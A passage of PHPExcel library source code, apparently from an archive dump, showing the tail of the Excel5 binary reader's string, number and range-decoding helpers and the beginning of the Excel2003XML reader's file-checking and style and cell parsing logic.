32767) ? $frIndex : $frIndex - 65536; $fr = $baseRow + $frIndex; } // offset: 6; size: 2; last column with relative/absolute flags // bit: 7-0; mask 0x00FF; column index $lcIndex = 0x00FF & self::getInt2d($subData, 6); $lcIndex = ($lcIndex <= 127) ? $lcIndex : $lcIndex - 256; $lc = PHPExcel_Cell::stringFromColumnIndex($baseCol + $lcIndex); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getInt2d($subData, 6))) { // absolute column index $lc = PHPExcel_Cell::stringFromColumnIndex($lcIndex); $lc = '$' . $lc; } else { // column offset $lcIndex = ($lcIndex <= 127) ? $lcIndex : $lcIndex - 256; $lc = PHPExcel_Cell::stringFromColumnIndex($baseCol + $lcIndex); } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getInt2d($subData, 6))) { // absolute row index $lr = $lrIndex + 1; $lr = '$' . $lr; } else { // row offset $lrIndex = ($lrIndex <= 32767) ? $lrIndex : $lrIndex - 65536; $lr = $baseRow + $lrIndex; } return "$fc$fr:$lc$lr"; } /** * Read BIFF8 cell range address list * section 2.5.15 * * @param string $subData * @return array */ private function readBIFF8CellRangeAddressList($subData) { $cellRangeAddresses = array(); // offset: 0; size: 2; number of the following cell range addresses $nm = self::getInt2d($subData, 0); $offset = 2; // offset: 2; size: 8 * $nm; list of $nm (fixed) cell range addresses for ($i = 0; $i < $nm; ++$i) { $cellRangeAddresses[] = $this->readBIFF8CellRangeAddressFixed(substr($subData, $offset, 8)); $offset += 8; } return array( 'size' => 2 + 8 * $nm, 'cellRangeAddresses' => $cellRangeAddresses, ); } /** * Read BIFF5 cell range address list * section 2.5.15 * * @param string $subData * @return array */ private function readBIFF5CellRangeAddressList($subData) { $cellRangeAddresses = array(); // offset: 0; size: 2; number of the following cell range addresses $nm = self::getInt2d($subData, 0); $offset = 2; // offset: 2; size: 6 * $nm; list of $nm (fixed) cell range addresses for ($i = 0; $i < $nm; ++$i) { $cellRangeAddresses[] = $this->readBIFF5CellRangeAddressFixed(substr($subData, $offset, 6)); $offset += 6; } return array( 'size' => 2 + 6 * $nm, 'cellRangeAddresses' => $cellRangeAddresses, ); } /** * Get a sheet range like Sheet1:Sheet3 from REF index * Note: If there is only one sheet in the range, one gets e.g Sheet1 * It can also happen that the REF structure uses the -1 (FFFF) code to indicate deleted sheets, * in which case an PHPExcel_Reader_Exception is thrown * * @param int $index * @return string|false * @throws PHPExcel_Reader_Exception */ private function readSheetRangeByRefIndex($index) { if (isset($this->ref[$index])) { $type = $this->externalBooks[$this->ref[$index]['externalBookIndex']]['type']; switch ($type) { case 'internal': // check if we have a deleted 3d reference if ($this->ref[$index]['firstSheetIndex'] == 0xFFFF or $this->ref[$index]['lastSheetIndex'] == 0xFFFF) { throw new PHPExcel_Reader_Exception('Deleted sheet reference'); } // we have normal sheet range (collapsed or uncollapsed) $firstSheetName = $this->sheets[$this->ref[$index]['firstSheetIndex']]['name']; $lastSheetName = $this->sheets[$this->ref[$index]['lastSheetIndex']]['name']; if ($firstSheetName == $lastSheetName) { // collapsed sheet range $sheetRange = $firstSheetName; } else { $sheetRange = "$firstSheetName:$lastSheetName"; } // escape the single-quotes $sheetRange = str_replace("'", "''", $sheetRange); // if there are special characters, we need to enclose the range in single-quotes // todo: check if we have identified the whole set of special characters // it seems that the following characters are not accepted for sheet names // and we may assume that they are not present: []*/:\? if (preg_match("/[ !\"@#£$%&{()}<>=+'|^,;-]/", $sheetRange)) { $sheetRange = "'$sheetRange'"; } return $sheetRange; break; default: // TODO: external sheet support throw new PHPExcel_Reader_Exception('Excel5 reader only supports internal sheets in fomulas'); break; } } return false; } /** * read BIFF8 constant value array from array data * returns e.g. array('value' => '{1,2;3,4}', 'size' => 40} * section 2.5.8 * * @param string $arrayData * @return array */ private static function readBIFF8ConstantArray($arrayData) { // offset: 0; size: 1; number of columns decreased by 1 $nc = ord($arrayData[0]); // offset: 1; size: 2; number of rows decreased by 1 $nr = self::getInt2d($arrayData, 1); $size = 3; // initialize $arrayData = substr($arrayData, 3); // offset: 3; size: var; list of ($nc + 1) * ($nr + 1) constant values $matrixChunks = array(); for ($r = 1; $r <= $nr + 1; ++$r) { $items = array(); for ($c = 1; $c <= $nc + 1; ++$c) { $constant = self::readBIFF8Constant($arrayData); $items[] = $constant['value']; $arrayData = substr($arrayData, $constant['size']); $size += $constant['size']; } $matrixChunks[] = implode(',', $items); // looks like e.g. '1,"hello"' } $matrix = '{' . implode(';', $matrixChunks) . '}'; return array( 'value' => $matrix, 'size' => $size, ); } /** * read BIFF8 constant value which may be 'Empty Value', 'Number', 'String Value', 'Boolean Value', 'Error Value' * section 2.5.7 * returns e.g. array('value' => '5', 'size' => 9) * * @param string $valueData * @return array */ private static function readBIFF8Constant($valueData) { // offset: 0; size: 1; identifier for type of constant $identifier = ord($valueData[0]); switch ($identifier) { case 0x00: // empty constant (what is this?) $value = ''; $size = 9; break; case 0x01: // number // offset: 1; size: 8; IEEE 754 floating-point value $value = self::extractNumber(substr($valueData, 1, 8)); $size = 9; break; case 0x02: // string value // offset: 1; size: var; Unicode string, 16-bit string length $string = self::readUnicodeStringLong(substr($valueData, 1)); $value = '"' . $string['value'] . '"'; $size = 1 + $string['size']; break; case 0x04: // boolean // offset: 1; size: 1; 0 = FALSE, 1 = TRUE if (ord($valueData[1])) { $value = 'TRUE'; } else { $value = 'FALSE'; } $size = 9; break; case 0x10: // error code // offset: 1; size: 1; error code $value = PHPExcel_Reader_Excel5_ErrorCode::lookup(ord($valueData[1])); $size = 9; break; } return array( 'value' => $value, 'size' => $size, ); } /** * Extract RGB color * OpenOffice.org's Documentation of the Microsoft Excel File Format, section 2.5.4 * * @param string $rgb Encoded RGB value (4 bytes) * @return array */ private static function readRGB($rgb) { // offset: 0; size 1; Red component $r = ord($rgb{0}); // offset: 1; size: 1; Green component $g = ord($rgb{1}); // offset: 2; size: 1; Blue component $b = ord($rgb{2}); // HEX notation, e.g. 'FF00FC' $rgb = sprintf('%02X%02X%02X', $r, $g, $b); return array('rgb' => $rgb); } /** * Read byte string (8-bit string length) * OpenOffice documentation: 2.5.2 * * @param string $subData * @return array */ private function readByteStringShort($subData) { // offset: 0; size: 1; length of the string (character count) $ln = ord($subData[0]); // offset: 1: size: var; character array (8-bit characters) $value = $this->decodeCodepage(substr($subData, 1, $ln)); return array( 'value' => $value, 'size' => 1 + $ln, // size in bytes of data structure ); } /** * Read byte string (16-bit string length) * OpenOffice documentation: 2.5.2 * * @param string $subData * @return array */ private function readByteStringLong($subData) { // offset: 0; size: 2; length of the string (character count) $ln = self::getInt2d($subData, 0); // offset: 2: size: var; character array (8-bit characters) $value = $this->decodeCodepage(substr($subData, 2)); //return $string; return array( 'value' => $value, 'size' => 2 + $ln, // size in bytes of data structure ); } /** * Extracts an Excel Unicode short string (8-bit string length) * OpenOffice documentation: 2.5.3 * function will automatically find out where the Unicode string ends. * * @param string $subData * @return array */ private static function readUnicodeStringShort($subData) { $value = ''; // offset: 0: size: 1; length of the string (character count) $characterCount = ord($subData[0]); $string = self::readUnicodeString(substr($subData, 1), $characterCount); // add 1 for the string length $string['size'] += 1; return $string; } /** * Extracts an Excel Unicode long string (16-bit string length) * OpenOffice documentation: 2.5.3 * this function is under construction, needs to support rich text, and Asian phonetic settings * * @param string $subData * @return array */ private static function readUnicodeStringLong($subData) { $value = ''; // offset: 0: size: 2; length of the string (character count) $characterCount = self::getInt2d($subData, 0); $string = self::readUnicodeString(substr($subData, 2), $characterCount); // add 2 for the string length $string['size'] += 2; return $string; } /** * Read Unicode string with no string length field, but with known character count * this function is under construction, needs to support rich text, and Asian phonetic settings * OpenOffice.org's Documentation of the Microsoft Excel File Format, section 2.5.3 * * @param string $subData * @param int $characterCount * @return array */ private static function readUnicodeString($subData, $characterCount) { $value = ''; // offset: 0: size: 1; option flags // bit: 0; mask: 0x01; character compression (0 = compressed 8-bit, 1 = uncompressed 16-bit) $isCompressed = !((0x01 & ord($subData[0])) >> 0); // bit: 2; mask: 0x04; Asian phonetic settings $hasAsian = (0x04) & ord($subData[0]) >> 2; // bit: 3; mask: 0x08; Rich-Text settings $hasRichText = (0x08) & ord($subData[0]) >> 3; // offset: 1: size: var; character array // this offset assumes richtext and Asian phonetic settings are off which is generally wrong // needs to be fixed $value = self::encodeUTF16(substr($subData, 1, $isCompressed ? $characterCount : 2 * $characterCount), $isCompressed); return array( 'value' => $value, 'size' => $isCompressed ? 1 + $characterCount : 1 + 2 * $characterCount, // the size in bytes including the option flags ); } /** * Convert UTF-8 string to string surounded by double quotes. Used for explicit string tokens in formulas. * Example: hello"world --> "hello""world" * * @param string $value UTF-8 encoded string * @return string */ private static function UTF8toExcelDoubleQuoted($value) { return '"' . str_replace('"', '""', $value) . '"'; } /** * Reads first 8 bytes of a string and return IEEE 754 float * * @param string $data Binary string that is at least 8 bytes long * @return float */ private static function extractNumber($data) { $rknumhigh = self::getInt4d($data, 4); $rknumlow = self::getInt4d($data, 0); $sign = ($rknumhigh & 0x80000000) >> 31; $exp = (($rknumhigh & 0x7ff00000) >> 20) - 1023; $mantissa = (0x100000 | ($rknumhigh & 0x000fffff)); $mantissalow1 = ($rknumlow & 0x80000000) >> 31; $mantissalow2 = ($rknumlow & 0x7fffffff); $value = $mantissa / pow(2, (20 - $exp)); if ($mantissalow1 != 0) { $value += 1 / pow(2, (21 - $exp)); } $value += $mantissalow2 / pow(2, (52 - $exp)); if ($sign) { $value *= -1; } return $value; } private static function getIEEE754($rknum) { if (($rknum & 0x02) != 0) { $value = $rknum >> 2; } else { // changes by mmp, info on IEEE754 encoding from // research.microsoft.com/~hollasch/cgindex/coding/ieeefloat.html // The RK format calls for using only the most significant 30 bits // of the 64 bit floating point value. The other 34 bits are assumed // to be 0 so we use the upper 30 bits of $rknum as follows... $sign = ($rknum & 0x80000000) >> 31; $exp = ($rknum & 0x7ff00000) >> 20; $mantissa = (0x100000 | ($rknum & 0x000ffffc)); $value = $mantissa / pow(2, (20- ($exp - 1023))); if ($sign) { $value = -1 * $value; } //end of changes by mmp } if (($rknum & 0x01) != 0) { $value /= 100; } return $value; } /** * Get UTF-8 string from (compressed or uncompressed) UTF-16 string * * @param string $string * @param bool $compressed * @return string */ private static function encodeUTF16($string, $compressed = '') { if ($compressed) { $string = self::uncompressByteString($string); } return PHPExcel_Shared_String::ConvertEncoding($string, 'UTF-8', 'UTF-16LE'); } /** * Convert UTF-16 string in compressed notation to uncompressed form. Only used for BIFF8. * * @param string $string * @return string */ private static function uncompressByteString($string) { $uncompressedString = ''; $strLen = strlen($string); for ($i = 0; $i < $strLen; ++$i) { $uncompressedString .= $string[$i] . "\0"; } return $uncompressedString; } /** * Convert string to UTF-8. Only used for BIFF5. * * @param string $string * @return string */ private function decodeCodepage($string) { return PHPExcel_Shared_String::ConvertEncoding($string, 'UTF-8', $this->codepage); } /** * Read 16-bit unsigned integer * * @param string $data * @param int $pos * @return int */ public static function getInt2d($data, $pos) { return ord($data[$pos]) | (ord($data[$pos+1]) << 8); } /** * Read 32-bit signed integer * * @param string $data * @param int $pos * @return int */ public static function getInt4d($data, $pos) { // FIX: represent numbers correctly on 64-bit system // http://sourceforge.net/tracker/index.php?func=detail&aid=1487372&group_id=99160&atid=623334 // Hacked by Andreas Rehm 2006 to ensure correct result of the <<24 block on 32 and 64bit systems $_or_24 = ord($data[$pos + 3]); if ($_or_24 >= 128) { // negative number $_ord_24 = -abs((256 - $_or_24) << 24); } else { $_ord_24 = ($_or_24 & 127) << 24; } return ord($data[$pos]) | (ord($data[$pos+1]) << 8) | (ord($data[$pos+2]) << 16) | $_ord_24; } private function parseRichText($is = '') { $value = new PHPExcel_RichText(); $value->createText($is); return $value; } } PHPExcel/Reader/Excel2003XML.php 0000644 00000113760 14642534110 0012025 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_Excel2003XML * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_Excel2003XML extends PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { /** * Formats * * @var array */ protected $styles = array(); /** * Character set used in the file * * @var string */ protected $charSet = 'UTF-8'; /** * Create a new PHPExcel_Reader_Excel2003XML */ public function __construct() { $this->readFilter = new PHPExcel_Reader_DefaultReadFilter(); } /** * Can the current PHPExcel_Reader_IReader read the file? * * @param string $pFilename * @return boolean * @throws PHPExcel_Reader_Exception */ public function canRead($pFilename) { // Office xmlns:o="urn:schemas-microsoft-com:office:office" // Excel xmlns:x="urn:schemas-microsoft-com:office:excel" // XML Spreadsheet xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" // Spreadsheet component xmlns:c="urn:schemas-microsoft-com:office:component:spreadsheet" // XML schema xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882" // XML data type xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882" // MS-persist recordset xmlns:rs="urn:schemas-microsoft-com:rowset" // Rowset xmlns:z="#RowsetSchema" // $signature = array( '<?xml version="1.0"', '<?mso-application progid="Excel.Sheet"?>' ); // Open file $this->openFile($pFilename); $fileHandle = $this->fileHandle; // Read sample data (first 2 KB will do) $data = fread($fileHandle, 2048); fclose($fileHandle); $valid = true; foreach ($signature as $match) { // every part of the signature must be present if (strpos($data, $match) === false) { $valid = false; break; } } // Retrieve charset encoding if (preg_match('/<?xml.*encoding=[\'"](.*?)[\'"].*?>/um', $data, $matches)) { $this->charSet = strtoupper($matches[1]); } // echo 'Character Set is ', $this->charSet,'<br />'; return $valid; } /** * Reads names of the worksheets from a file, without parsing the whole file to a PHPExcel object * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetNames($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } if (!$this->canRead($pFilename)) { throw new PHPExcel_Reader_Exception($pFilename . " is an Invalid Spreadsheet file."); } $worksheetNames = array(); $xml = simplexml_load_string($this->securityScan(file_get_contents($pFilename)), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $namespaces = $xml->getNamespaces(true); $xml_ss = $xml->children($namespaces['ss']); foreach ($xml_ss->Worksheet as $worksheet) { $worksheet_ss = $worksheet->attributes($namespaces['ss']); $worksheetNames[] = self::convertStringEncoding((string) $worksheet_ss['Name'], $this->charSet); } return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns) * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetInfo($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $worksheetInfo = array(); $xml = simplexml_load_string($this->securityScan(file_get_contents($pFilename)), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $namespaces = $xml->getNamespaces(true); $worksheetID = 1; $xml_ss = $xml->children($namespaces['ss']); foreach ($xml_ss->Worksheet as $worksheet) { $worksheet_ss = $worksheet->attributes($namespaces['ss']); $tmpInfo = array(); $tmpInfo['worksheetName'] = ''; $tmpInfo['lastColumnLetter'] = 'A'; $tmpInfo['lastColumnIndex'] = 0; $tmpInfo['totalRows'] = 0; $tmpInfo['totalColumns'] = 0; if (isset($worksheet_ss['Name'])) { $tmpInfo['worksheetName'] = (string) $worksheet_ss['Name']; } else { $tmpInfo['worksheetName'] = "Worksheet_{$worksheetID}"; } if (isset($worksheet->Table->Row)) { $rowIndex = 0; foreach ($worksheet->Table->Row as $rowData) { $columnIndex = 0; $rowHasData = false; foreach ($rowData->Cell as $cell) { if (isset($cell->Data)) { $tmpInfo['lastColumnIndex'] = max($tmpInfo['lastColumnIndex'], $columnIndex); $rowHasData = true; } ++$columnIndex; } ++$rowIndex; if ($rowHasData) { $tmpInfo['totalRows'] = max($tmpInfo['totalRows'], $rowIndex); } } } $tmpInfo['lastColumnLetter'] = PHPExcel_Cell::stringFromColumnIndex($tmpInfo['lastColumnIndex']); $tmpInfo['totalColumns'] = $tmpInfo['lastColumnIndex'] + 1; $worksheetInfo[] = $tmpInfo; ++$worksheetID; } return $worksheetInfo; } /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename) { // Create new PHPExcel $objPHPExcel = new PHPExcel(); $objPHPExcel->removeSheetByIndex(0); // Load into this instance return $this->loadIntoExisting($pFilename, $objPHPExcel); } protected static function identifyFixedStyleValue($styleList, &$styleAttributeValue) { $styleAttributeValue = strtolower($styleAttributeValue); foreach ($styleList as $style) { if ($styleAttributeValue == strtolower($style)) { $styleAttributeValue = $style; return true; } } return false; } /** * pixel units to excel width units(units of 1/256th of a character width) * @param pxs * @return */ protected static function pixel2WidthUnits($pxs) { $UNIT_OFFSET_MAP = array(0, 36, 73, 109, 146, 182, 219); $widthUnits = 256 * ($pxs / 7); $widthUnits += $UNIT_OFFSET_MAP[($pxs % 7)]; return $widthUnits; } /** * excel width units(units of 1/256th of a character width) to pixel units * @param widthUnits * @return */ protected static function widthUnits2Pixel($widthUnits) { $pixels = ($widthUnits / 256) * 7; $offsetWidthUnits = $widthUnits % 256; $pixels += round($offsetWidthUnits / (256 / 7)); return $pixels; } protected static function hex2str($hex) { return chr(hexdec($hex[1])); } /** * Loads PHPExcel from file into PHPExcel instance * * @param string $pFilename * @param PHPExcel $objPHPExcel * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function loadIntoExisting($pFilename, PHPExcel $objPHPExcel) { $fromFormats = array('\-', '\ '); $toFormats = array('-', ' '); $underlineStyles = array ( PHPExcel_Style_Font::UNDERLINE_NONE, PHPExcel_Style_Font::UNDERLINE_DOUBLE, PHPExcel_Style_Font::UNDERLINE_DOUBLEACCOUNTING, PHPExcel_Style_Font::UNDERLINE_SINGLE, PHPExcel_Style_Font::UNDERLINE_SINGLEACCOUNTING ); $verticalAlignmentStyles = array ( PHPExcel_Style_Alignment::VERTICAL_BOTTOM, PHPExcel_Style_Alignment::VERTICAL_TOP, PHPExcel_Style_Alignment::VERTICAL_CENTER, PHPExcel_Style_Alignment::VERTICAL_JUSTIFY ); $horizontalAlignmentStyles = array ( PHPExcel_Style_Alignment::HORIZONTAL_GENERAL, PHPExcel_Style_Alignment::HORIZONTAL_LEFT, PHPExcel_Style_Alignment::HORIZONTAL_RIGHT, PHPExcel_Style_Alignment::HORIZONTAL_CENTER, PHPExcel_Style_Alignment::HORIZONTAL_CENTER_CONTINUOUS, PHPExcel_Style_Alignment::HORIZONTAL_JUSTIFY ); $timezoneObj = new DateTimeZone('Europe/London'); $GMT = new DateTimeZone('UTC'); // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } if (!$this->canRead($pFilename)) { throw new PHPExcel_Reader_Exception($pFilename . " is an Invalid Spreadsheet file."); } $xml = simplexml_load_string($this->securityScan(file_get_contents($pFilename)), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $namespaces = $xml->getNamespaces(true); $docProps = $objPHPExcel->getProperties(); if (isset($xml->DocumentProperties[0])) { foreach ($xml->DocumentProperties[0] as $propertyName => $propertyValue) { switch ($propertyName) { case 'Title': $docProps->setTitle(self::convertStringEncoding($propertyValue, $this->charSet)); break; case 'Subject': $docProps->setSubject(self::convertStringEncoding($propertyValue, $this->charSet)); break; case 'Author': $docProps->setCreator(self::convertStringEncoding($propertyValue, $this->charSet)); break; case 'Created': $creationDate = strtotime($propertyValue); $docProps->setCreated($creationDate); break; case 'LastAuthor': $docProps->setLastModifiedBy(self::convertStringEncoding($propertyValue, $this->charSet)); break; case 'LastSaved': $lastSaveDate = strtotime($propertyValue); $docProps->setModified($lastSaveDate); break; case 'Company': $docProps->setCompany(self::convertStringEncoding($propertyValue, $this->charSet)); break; case 'Category': $docProps->setCategory(self::convertStringEncoding($propertyValue, $this->charSet)); break; case 'Manager': $docProps->setManager(self::convertStringEncoding($propertyValue, $this->charSet)); break; case 'Keywords': $docProps->setKeywords(self::convertStringEncoding($propertyValue, $this->charSet)); break; case 'Description': $docProps->setDescription(self::convertStringEncoding($propertyValue, $this->charSet)); break; } } } if (isset($xml->CustomDocumentProperties)) { foreach ($xml->CustomDocumentProperties[0] as $propertyName => $propertyValue) { $propertyAttributes = $propertyValue->attributes($namespaces['dt']); $propertyName = preg_replace_callback('/_x([0-9a-z]{4})_/', 'PHPExcel_Reader_Excel2003XML::hex2str', $propertyName); $propertyType = PHPExcel_DocumentProperties::PROPERTY_TYPE_UNKNOWN; switch ((string) $propertyAttributes) { case 'string': $propertyType = PHPExcel_DocumentProperties::PROPERTY_TYPE_STRING; $propertyValue = trim($propertyValue); break; case 'boolean': $propertyType = PHPExcel_DocumentProperties::PROPERTY_TYPE_BOOLEAN; $propertyValue = (bool) $propertyValue; break; case 'integer': $propertyType = PHPExcel_DocumentProperties::PROPERTY_TYPE_INTEGER; $propertyValue = intval($propertyValue); break; case 'float': $propertyType = PHPExcel_DocumentProperties::PROPERTY_TYPE_FLOAT; $propertyValue = floatval($propertyValue); break; case 'dateTime.tz': $propertyType = PHPExcel_DocumentProperties::PROPERTY_TYPE_DATE; $propertyValue = strtotime(trim($propertyValue)); break; } $docProps->setCustomProperty($propertyName, $propertyValue, $propertyType); } } foreach ($xml->Styles[0] as $style) { $style_ss = $style->attributes($namespaces['ss']); $styleID = (string) $style_ss['ID']; // echo 'Style ID = '.$styleID.'<br />'; $this->styles[$styleID] = (isset($this->styles['Default'])) ? $this->styles['Default'] : array(); foreach ($style as $styleType => $styleData) { $styleAttributes = $styleData->attributes($namespaces['ss']); // echo $styleType.'<br />'; switch ($styleType) { case 'Alignment': foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValue) { // echo $styleAttributeKey.' = '.$styleAttributeValue.'<br />'; $styleAttributeValue = (string) $styleAttributeValue; switch ($styleAttributeKey) { case 'Vertical': if (self::identifyFixedStyleValue($verticalAlignmentStyles, $styleAttributeValue)) { $this->styles[$styleID]['alignment']['vertical'] = $styleAttributeValue; } break; case 'Horizontal': if (self::identifyFixedStyleValue($horizontalAlignmentStyles, $styleAttributeValue)) { $this->styles[$styleID]['alignment']['horizontal'] = $styleAttributeValue; } break; case 'WrapText': $this->styles[$styleID]['alignment']['wrap'] = true; break; } } break; case 'Borders': foreach ($styleData->Border as $borderStyle) { $borderAttributes = $borderStyle->attributes($namespaces['ss']); $thisBorder = array(); foreach ($borderAttributes as $borderStyleKey => $borderStyleValue) { // echo $borderStyleKey.' = '.$borderStyleValue.'<br />'; switch ($borderStyleKey) { case 'LineStyle': $thisBorder['style'] = PHPExcel_Style_Border::BORDER_MEDIUM; // $thisBorder['style'] = $borderStyleValue; break; case 'Weight': // $thisBorder['style'] = $borderStyleValue; break; case 'Position': $borderPosition = strtolower($borderStyleValue); break; case 'Color': $borderColour = substr($borderStyleValue, 1); $thisBorder['color']['rgb'] = $borderColour; break; } } if (!empty($thisBorder)) { if (($borderPosition == 'left') || ($borderPosition == 'right') || ($borderPosition == 'top') || ($borderPosition == 'bottom')) { $this->styles[$styleID]['borders'][$borderPosition] = $thisBorder; } } } break; case 'Font': foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValue) { // echo $styleAttributeKey.' = '.$styleAttributeValue.'<br />'; $styleAttributeValue = (string) $styleAttributeValue; switch ($styleAttributeKey) { case 'FontName': $this->styles[$styleID]['font']['name'] = $styleAttributeValue; break; case 'Size': $this->styles[$styleID]['font']['size'] = $styleAttributeValue; break; case 'Color': $this->styles[$styleID]['font']['color']['rgb'] = substr($styleAttributeValue, 1); break; case 'Bold': $this->styles[$styleID]['font']['bold'] = true; break; case 'Italic': $this->styles[$styleID]['font']['italic'] = true; break; case 'Underline': if (self::identifyFixedStyleValue($underlineStyles, $styleAttributeValue)) { $this->styles[$styleID]['font']['underline'] = $styleAttributeValue; } break; } } break; case 'Interior': foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValue) { // echo $styleAttributeKey.' = '.$styleAttributeValue.'<br />'; switch ($styleAttributeKey) { case 'Color': $this->styles[$styleID]['fill']['color']['rgb'] = substr($styleAttributeValue, 1); break; } } break; case 'NumberFormat': foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValue) { // echo $styleAttributeKey.' = '.$styleAttributeValue.'<br />'; $styleAttributeValue = str_replace($fromFormats, $toFormats, $styleAttributeValue); switch ($styleAttributeValue) { case 'Short Date': $styleAttributeValue = 'dd/mm/yyyy'; break; } if ($styleAttributeValue > '') { $this->styles[$styleID]['numberformat']['code'] = $styleAttributeValue; } } break; case 'Protection': foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValue) { // echo $styleAttributeKey.' = '.$styleAttributeValue.'<br />'; } break; } } // print_r($this->styles[$styleID]); // echo '<hr />'; } // echo '<hr />'; $worksheetID = 0; $xml_ss = $xml->children($namespaces['ss']); foreach ($xml_ss->Worksheet as $worksheet) { $worksheet_ss = $worksheet->attributes($namespaces['ss']); if ((isset($this->loadSheetsOnly)) && (isset($worksheet_ss['Name'])) && (!in_array($worksheet_ss['Name'], $this->loadSheetsOnly))) { continue; } // echo '<h3>Worksheet: ', $worksheet_ss['Name'],'<h3>'; // // Create new Worksheet $objPHPExcel->createSheet(); $objPHPExcel->setActiveSheetIndex($worksheetID); if (isset($worksheet_ss['Name'])) { $worksheetName = self::convertStringEncoding((string) $worksheet_ss['Name'], $this->charSet); // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet references in // formula cells... during the load, all formulae should be correct, and we're simply bringing // the worksheet name in line with the formula, not the reverse $objPHPExcel->getActiveSheet()->setTitle($worksheetName, false); } $columnID = 'A'; if (isset($worksheet->Table->Column)) { foreach ($worksheet->Table->Column as $columnData) { $columnData_ss = $columnData->attributes($namespaces['ss']); if (isset($columnData_ss['Index'])) { $columnID = PHPExcel_Cell::stringFromColumnIndex($columnData_ss['Index']-1); } if (isset($columnData_ss['Width'])) { $columnWidth = $columnData_ss['Width']; // echo '<b>Setting column width for '.$columnID.' to '.$columnWidth.'</b><br />'; $objPHPExcel->getActiveSheet()->getColumnDimension($columnID)->setWidth($columnWidth / 5.4); } ++$columnID; } } $rowID = 1; if (isset($worksheet->Table->Row)) { $additionalMergedCells = 0; foreach ($worksheet->Table->Row as $rowData) { $rowHasData = false; $row_ss = $rowData->attributes($namespaces['ss']); if (isset($row_ss['Index'])) { $rowID = (integer) $row_ss['Index']; } // echo '<b>Row '.$rowID.'</b><br />'; $columnID = 'A'; foreach ($rowData->Cell as $cell) { $cell_ss = $cell->attributes($namespaces['ss']); if (isset($cell_ss['Index'])) { $columnID = PHPExcel_Cell::stringFromColumnIndex($cell_ss['Index']-1); } $cellRange = $columnID.$rowID; if ($this->getReadFilter() !== null) { if (!$this->getReadFilter()->readCell($columnID, $rowID, $worksheetName)) { continue; } } if ((isset($cell_ss['MergeAcross'])) || (isset($cell_ss['MergeDown']))) { $columnTo = $columnID; if (isset($cell_ss['MergeAcross'])) { $additionalMergedCells += (int)$cell_ss['MergeAcross']; $columnTo = PHPExcel_Cell::stringFromColumnIndex(PHPExcel_Cell::columnIndexFromString($columnID) + $cell_ss['MergeAcross'] -1); } $rowTo = $rowID; if (isset($cell_ss['MergeDown'])) { $rowTo = $rowTo + $cell_ss['MergeDown']; } $cellRange .= ':'.$columnTo.$rowTo; $objPHPExcel->getActiveSheet()->mergeCells($cellRange); } $cellIsSet = $hasCalculatedValue = false; $cellDataFormula = ''; if (isset($cell_ss['Formula'])) { $cellDataFormula = $cell_ss['Formula']; // added this as a check for array formulas if (isset($cell_ss['ArrayRange'])) { $cellDataCSEFormula = $cell_ss['ArrayRange']; // echo "found an array formula at ".$columnID.$rowID."<br />"; } $hasCalculatedValue = true; } if (isset($cell->Data)) { $cellValue = $cellData = $cell->Data; $type = PHPExcel_Cell_DataType::TYPE_NULL; $cellData_ss = $cellData->attributes($namespaces['ss']); if (isset($cellData_ss['Type'])) { $cellDataType = $cellData_ss['Type']; switch ($cellDataType) { /* const TYPE_STRING = 's'; const TYPE_FORMULA = 'f'; const TYPE_NUMERIC = 'n'; const TYPE_BOOL = 'b'; const TYPE_NULL = 'null'; const TYPE_INLINE = 'inlineStr'; const TYPE_ERROR = 'e'; */ case 'String': $cellValue = self::convertStringEncoding($cellValue, $this->charSet); $type = PHPExcel_Cell_DataType::TYPE_STRING; break; case 'Number': $type = PHPExcel_Cell_DataType::TYPE_NUMERIC; $cellValue = (float) $cellValue; if (floor($cellValue) == $cellValue) { $cellValue = (integer) $cellValue; } break; case 'Boolean': $type = PHPExcel_Cell_DataType::TYPE_BOOL; $cellValue = ($cellValue != 0); break; case 'DateTime': $type = 